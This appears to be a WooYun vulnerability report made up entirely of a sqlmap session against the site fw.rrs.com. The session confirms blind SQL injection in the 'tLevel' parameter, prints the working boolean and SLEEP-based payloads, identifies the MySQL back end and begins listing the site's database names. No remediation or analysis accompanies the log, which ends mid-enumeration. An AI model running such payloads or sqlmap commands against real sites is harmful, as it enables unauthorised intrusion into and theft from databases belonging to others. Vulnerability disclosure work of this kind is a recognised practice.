WooYun.org

[root@Hacker~]# Sqlmap Sqlmap -u "http://fw.rrs.com/snaplb/FAQ/FAQList?tLevel=33480a48-0f72-489a-b209-16a7e0331634&pageNum=1&pageSize=5" --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all ap
[*] starting at 15:10:01
[15:10:02] [INFO] testing connection to the target URL
[15:10:02] [INFO] heuristics detected web page charset 'ISO-8859-2'
[15:10:03] [INFO] testing if the target URL is stable. This can take a couple of seconds
[15:10:04] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] y
[15:10:06] [INFO] testing if GET parameter 'tLevel' is dynamic
[15:10:07] [INFO] confirming that GET parameter 'tLevel' is dynamic
[15:10:07] [INFO] GET parameter 'tLevel' is dynamic
[15:10:08] [WARNING] heuristic (basic) test shows that GET parameter 'tLevel' might not be injectable
[15:10:08] [INFO] testing for SQL injection on GET parameter 'tLevel'
[15:10:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:10:13] [INFO] GET parameter 'tLevel' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[15:10:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:10:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:10:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:10:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:10:21] [INFO] testing 'MySQL inline queries'
[15:10:21] [INFO] testing 'PostgreSQL inline queries'
[15:10:21] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:10:21] [INFO] testing 'Oracle inline queries'
[15:10:21] [INFO] testing 'SQLite inline queries'
[15:10:21] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:10:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:10:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:10:22] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:11:22] [INFO] GET parameter 'tLevel' is 'MySQL > 5.0.11 AND time-based blind' injectable
[15:11:22] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:11:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:11:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'tLevel' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
[15:12:04] [INFO] testing if GET parameter 'pageNum' is dynamic
[15:12:05] [INFO] confirming that GET parameter 'pageNum' is dynamic
[15:12:06] [INFO] GET parameter 'pageNum' is dynamic
[15:12:06] [WARNING] heuristic (basic) test shows that GET parameter 'pageNum' might not be injectable
[15:12:06] [INFO] testing for SQL injection on GET parameter 'pageNum'
[15:12:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:12:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:12:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:12:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:12:08] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:12:09] [INFO] testing 'MySQL inline queries'
[15:12:09] [INFO] testing 'PostgreSQL inline queries'
[15:12:09] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:12:09] [INFO] testing 'Oracle inline queries'
[15:12:09] [INFO] testing 'SQLite inline queries'
[15:12:09] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:12:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:12:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:12:11] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:12:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:12:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:12:12] [INFO] testing 'Oracle AND time-based blind'
[15:12:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:12:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:12:26] [WARNING] GET parameter 'pageNum' is not injectable
[15:12:26] [INFO] testing if GET parameter 'pageSize' is dynamic
[15:12:27] [INFO] confirming that GET parameter 'pageSize' is dynamic
[15:12:27] [INFO] GET parameter 'pageSize' is dynamic
[15:12:27] [WARNING] heuristic (basic) test shows that GET parameter 'pageSize' might not be injectable
[15:12:27] [INFO] testing for SQL injection on GET parameter 'pageSize'
[15:12:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:12:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:12:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:12:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:12:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:12:30] [INFO] testing 'MySQL inline queries'
[15:12:31] [INFO] testing 'PostgreSQL inline queries'
[15:12:31] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:12:31] [INFO] testing 'Oracle inline queries'
[15:12:31] [INFO] testing 'SQLite inline queries'
[15:12:31] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:12:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:12:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:12:32] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:12:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:12:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:12:34] [INFO] testing 'Oracle AND time-based blind'
[15:12:34] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:12:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:12:47] [WARNING] GET parameter 'pageSize' is not injectable
sqlmap identified the following injection points with a total of 439 HTTP(s) requests:
---
Place: GET
Parameter: tLevel
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: tLevel=33480a48-0f72-489a-b209-16a7e0331634' AND 2704=2704 AND 'shJS'='shJS&pageNum=1&pageSize=5
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: tLevel=33480a48-0f72-489a-b209-16a7e0331634' AND SLEEP(5) AND 'LABx'='LABx&pageNum=1&pageSize=5
---
[15:12:47] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, JSP
back-end DBMS: MySQL 5.0.11
[15:12:47] [INFO] fetching database names
[15:12:47] [INFO] fetching number of databases
[15:12:47] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[15:12:47] [INFO] retrieved: 18
[15:12:54] [INFO] retrieved: information_schema
[15:14:17] [INFO] retrieved: aijia
[15:14:43] [INFO] retrieved: hibernate
[15:15:26] [INFO] retrieved: huxing
[15:15:57] [INFO] retrieved: iudp_basedata
[15:17:03] [INFO] retrieved: iudp_huxing
[15:17:59] [INFO] retrieved: iudp_rbac
[15:18:46] [INFO] retrieved: iudp_sh